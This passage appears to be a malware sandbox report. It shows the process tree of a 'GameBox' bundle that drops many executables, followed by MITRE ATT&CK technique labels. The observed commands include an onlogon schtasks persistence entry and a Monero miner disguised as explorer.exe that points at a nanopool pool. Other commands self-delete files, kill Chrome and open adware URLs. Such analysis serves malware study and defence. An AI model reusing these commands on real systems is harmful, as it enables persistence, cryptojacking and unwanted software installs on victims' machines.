        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:1060
    - - C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        5⤵
        
        PID:2012
      - C:\Users\Admin\AppData\Local\Temp\is-G25BH.tmp\MediaBurner2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-G25BH.tmp\MediaBurner2.tmp" /SL5="$201A4,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        6⤵
        
        PID:1724
        
        C:\Users\Admin\AppData\Local\Temp\is-JJ6CH.tmp\3377047_logo_media.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-JJ6CH.tmp\3377047_logo_media.exe" /S /UID=burnerch2
        7⤵
        
        PID:984
        
        C:\Program Files\7-Zip\AQRLHHYJPI\ultramediaburner.exe
        
        "C:\Program Files\7-Zip\AQRLHHYJPI\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:3124
        
        C:\Users\Admin\AppData\Local\Temp\is-L1J59.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-L1J59.tmp\ultramediaburner.tmp" /SL5="$601CE,281924,62464,C:\Program Files\7-Zip\AQRLHHYJPI\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:3232
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:3324
        
        C:\Users\Admin\AppData\Local\Temp\d9-a37db-138-ed2a0-6e3fb5b9da6ec\Cevuzhodasha.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d9-a37db-138-ed2a0-6e3fb5b9da6ec\Cevuzhodasha.exe"
        8⤵
        
        PID:3188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hs5ukbop.vka\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:3564
        
        C:\Users\Admin\AppData\Local\Temp\hs5ukbop.vka\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\hs5ukbop.vka\GcleanerEU.exe /eufive
        10⤵
        
        PID:1852
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\hs5ukbop.vka\GcleanerEU.exe" & exit
        11⤵
        
        PID:972
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:1824
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cbxaagvx.y5h\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:3088
        
        C:\Users\Admin\AppData\Local\Temp\cbxaagvx.y5h\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbxaagvx.y5h\installer.exe /qn CAMPAIGN="654"
        10⤵
        Executes dropped EXE
        
        PID:2440
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\cbxaagvx.y5h\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\cbxaagvx.y5h\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628939515 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:4320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zoovahtb.pms\ufgaa.exe & exit
        9⤵
        
        PID:3428
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uo0lzewq.212\anyname.exe & exit
        9⤵
        
        PID:1388
        
        C:\Users\Admin\AppData\Local\Temp\uo0lzewq.212\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\uo0lzewq.212\anyname.exe
        10⤵
        
        PID:2720
        
        C:\Users\Admin\AppData\Local\Temp\uo0lzewq.212\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\uo0lzewq.212\anyname.exe" -q
        11⤵
        
        PID:3092
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5fhqwci4.2ju\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:3760
        
        C:\Users\Admin\AppData\Local\Temp\5fhqwci4.2ju\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\5fhqwci4.2ju\gcleaner.exe /mixfive
        10⤵
        
        PID:3000
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\5fhqwci4.2ju\gcleaner.exe" & exit
        11⤵
        
        PID:2512
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:2404
        
        C:\Users\Admin\AppData\Local\Temp\40-8d629-313-0fcab-aaedf2df80fe8\Duqaeshulyrae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\40-8d629-313-0fcab-aaedf2df80fe8\Duqaeshulyrae.exe"
        8⤵
        
        PID:1872
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        
        PID:3560
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:1432
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:340994 /prefetch:2
        10⤵
        
        PID:2784
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 2216
        11⤵
        Program crash
        
        PID:3996
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:603162 /prefetch:2
        10⤵
        
        PID:3760
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:734249 /prefetch:2
        10⤵
        
        PID:4496
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:930853 /prefetch:2
        10⤵
        
        PID:5068
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:275498 /prefetch:2
        10⤵
        
        PID:1616
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:275515 /prefetch:2
        10⤵
        
        PID:1824
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:2438191 /prefetch:2
        10⤵
        
        PID:10220
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3560 CREDAT:2307139 /prefetch:2
        10⤵
        
        PID:4428
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:2480
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2480 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:3292
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
        9⤵
        
        PID:4020
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4020 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:1748
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851513
        9⤵
        
        PID:5552
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=2087215
        9⤵
        
        PID:10180
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:10180 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:9984
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=4263119
        9⤵
        
        PID:9860
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?id=1294231
        9⤵
        
        PID:10040
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:10040 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:3060
    - - C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
        5⤵
        
        PID:2236
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:2444
    - - C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe"
        5⤵
        
        PID:1696
      - C:\Users\Admin\AppData\Roaming\8023118.exe
        
        "C:\Users\Admin\AppData\Roaming\8023118.exe"
        6⤵
        
        PID:2944
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2944 -s 1748
        7⤵
        Program crash
        
        PID:3004
      - C:\Users\Admin\AppData\Roaming\3285853.exe
        
        "C:\Users\Admin\AppData\Roaming\3285853.exe"
        6⤵
        
        PID:1332
      - C:\Users\Admin\AppData\Roaming\4820915.exe
        
        "C:\Users\Admin\AppData\Roaming\4820915.exe"
        6⤵
        
        PID:2420
      - C:\Users\Admin\AppData\Roaming\3233021.exe
        
        "C:\Users\Admin\AppData\Roaming\3233021.exe"
        6⤵
        
        PID:2772
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2772 -s 1300
        7⤵
        Program crash
        
        PID:2832
    - - C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"
        5⤵
        
        PID:2640
    - - C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe"
        5⤵
        
        PID:2556
      - C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe" -a
        6⤵
        
        PID:2272
    - - C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        5⤵
        
        PID:2588
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628939515 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        6⤵
        
        PID:2268
    - - C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe"
        5⤵
        
        PID:1044
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
        6⤵
        
        PID:2468
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
        7⤵
        Creates scheduled task(s)
        
        PID:2936
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        
        PID:2320
      - C:\Users\Admin\AppData\Roaming\Services.exe
        
        "C:\Users\Admin\AppData\Roaming\Services.exe"
        6⤵
        
        PID:2788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
        7⤵
        
        PID:2284
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:556
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-asia1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth
        7⤵
        
        PID:1496

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "Yjz6kO9tj5NPANirJJyd69hP.exe" /f
1⤵
- Kills process with taskkill
PID:744

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
1⤵
- Kills process with taskkill
PID:2288

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
PID:2488

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2760

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:1376
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 247115AA47D063F1A1245422298520D0 C
  2⤵
  PID:2932
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B15487278C1A3DC052A1DE03E91B81C1
  2⤵
  PID:1280
- C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
  2⤵
  PID:3212
- - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
    3⤵
    PID:1532
  - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
      4⤵
      PID:4272
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x144,0x148,0x14c,0x118,0x150,0x7fed4e1dec0,0x7fed4e1ded0,0x7fed4e1dee0
        5⤵
        
        PID:4956
      - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0xe8,0xec,0xf0,0xbc,0xf4,0x13f749e70,0x13f749e80,0x13f749e90
        6⤵
        
        PID:4980
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1116 /prefetch:2
        5⤵
        
        PID:4204
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --mojo-platform-channel-handle=1540 /prefetch:8
        5⤵
        
        PID:4148
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --mojo-platform-channel-handle=1528 /prefetch:8
        5⤵
        
        PID:4152
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=1740 /prefetch:1
        5⤵
        
        PID:3392
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=1812 /prefetch:1
        5⤵
        
        PID:276
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2136 /prefetch:2
        5⤵
        
        PID:3348
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --mojo-platform-channel-handle=1928 /prefetch:8
        5⤵
        
        PID:4596
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --mojo-platform-channel-handle=2668 /prefetch:8
        5⤵
        
        PID:4600
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --mojo-platform-channel-handle=2448 /prefetch:8
        5⤵
        
        PID:800
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1108,16824165743319079334,17021905949416586689,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4272_1765952768" --mojo-platform-channel-handle=2520 /prefetch:8
        5⤵
        
        PID:3376
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_879.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
    3⤵
    PID:4344
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 997338088500DE1781FC8AD3E18678C9 C
  2⤵
  PID:4032
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 33185943AD7CADB20E57A7715C127649
  2⤵
  PID:4572
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:4700
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 62C2A40E1DBAB795BCDD3C524ECEF52F M Global\MSI0000
  2⤵
  PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:756

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 2740
1⤵
- Kills process with taskkill
PID:3748

C:\Windows\system32\taskeng.exe
taskeng.exe {A56D4CF2-264B-4AFC-A463-D5B5A338F6C4} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
1⤵
PID:3672
- C:\Users\Admin\AppData\Roaming\ewguied
  C:\Users\Admin\AppData\Roaming\ewguied
  2⤵
  PID:3460
- C:\Users\Admin\AppData\Roaming\tuguied
  C:\Users\Admin\AppData\Roaming\tuguied
  2⤵
  PID:1360
- - C:\Users\Admin\AppData\Roaming\tuguied
    C:\Users\Admin\AppData\Roaming\tuguied
    3⤵
    PID:4672

C:\Windows\system32\taskeng.exe
taskeng.exe {FACE4667-4FC2-4974-9AB0-012CA4804511} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:4400
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
  2⤵
  PID:1148
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
  2⤵
  PID:4112
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
  2⤵
  PID:4692
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
  2⤵
  PID:5500
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
  2⤵
  PID:5520
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
  2⤵
  PID:5624

C:\Windows\system32\taskeng.exe
taskeng.exe {453BBE74-C289-4E42-83F5-766950A6B4D1} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
1⤵
PID:5540
- C:\Users\Admin\AppData\Roaming\ewguied
  C:\Users\Admin\AppData\Roaming\ewguied
  2⤵
  PID:5664
- C:\Users\Admin\AppData\Roaming\tuguied
  C:\Users\Admin\AppData\Roaming\tuguied
  2⤵
  PID:5712
- - C:\Users\Admin\AppData\Roaming\tuguied
    C:\Users\Admin\AppData\Roaming\tuguied
    3⤵
    PID:10136
- C:\Users\Admin\AppData\Roaming\tuguied
  C:\Users\Admin\AppData\Roaming\tuguied
  2⤵
  PID:3680
- C:\Users\Admin\AppData\Roaming\ewguied
  C:\Users\Admin\AppData\Roaming\ewguied
  2⤵
  PID:4936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

